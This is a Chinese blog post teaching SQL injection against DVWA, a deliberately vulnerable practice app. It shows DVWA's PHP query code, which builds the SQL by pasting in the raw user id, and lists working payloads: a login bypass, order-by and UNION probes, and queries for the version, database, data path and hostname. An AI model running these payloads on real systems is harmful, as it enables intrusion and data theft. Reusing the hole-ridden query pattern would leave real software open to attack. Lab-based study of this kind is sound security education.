依旧是使用DVWA。。

SQL注入初级代码:

<?php

if(isset($_GET['Submit'])){

// Retrieve data

$id = $_GET['id'];

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

$num = mysql_numrows($result);

$i = 0;

while ($i < $num) {

    $first = mysql_result($result,$i,"first_name");
    $last = mysql_result($result,$i,"last_name");

    echo '<pre>';
    echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
    echo '</pre>';

    $i++;
}
}
?>

正常sql查询语句:

SELECT * FROM users WHERE user=’user’ AND passwd=’password’
如果代码过滤不严格,允许危险的语句注入,就会造成很大的威胁,如下,’or ‘1’=’1会与原来的’’闭合构成新的sql语句。

SELECT * FROM users WHERE user=’name’ AND passwd=’’OR’1’=’1’
当密码错误时候,与后面的逻辑运算符 OR 运算,结果又是真,这样的方法可以绕过密码登录。

测试方法:
1.基于报错的检测方法:

‘ “ % ()

2.基于布尔的检测

1’ and ‘1’=’1
1’ and ‘1’=’2

3.列表数/显示信息位于哪一列

‘ order by 6–+ (–+这个是注释)可以查看数据返回到当前网页的位置,便于阅读。

4.联合查询

‘ union select 1,2,3–+
‘ union all select database(),2–+

SQL注入复杂语句
查看版本信息和数据库:

' union select 1,version(),2,3,4,5--+
' union select 1,database(),2,3,4,5--+

全局函数:

@@datadir     //当前路径
@@hostname    //主机名
@@VERSION    //版本信息
@@version_compile_os    //操作系统

ASCII码转换:

CHAR(55)  //可绕过不严格的过滤

当前数据库:

database()

计算哈希值:

md5()

查看mysql的数据结构:

information_schema//数据本身的数据信息

连接字符串:

CONCAT_WS(CHAR(32,58,32),user(),database(),version())//CHAR为分割

实例:
这时候需要用到火狐浏览器的一个插件叫做hackerbar,这玩意不介绍了,以前以为这玩意挺复杂,接触之后才发现挺简单的。

 

 

 

朱古力

By 朱古力

一条咸鱼

发表评论

电子邮件地址不会被公开。 必填项已用*标注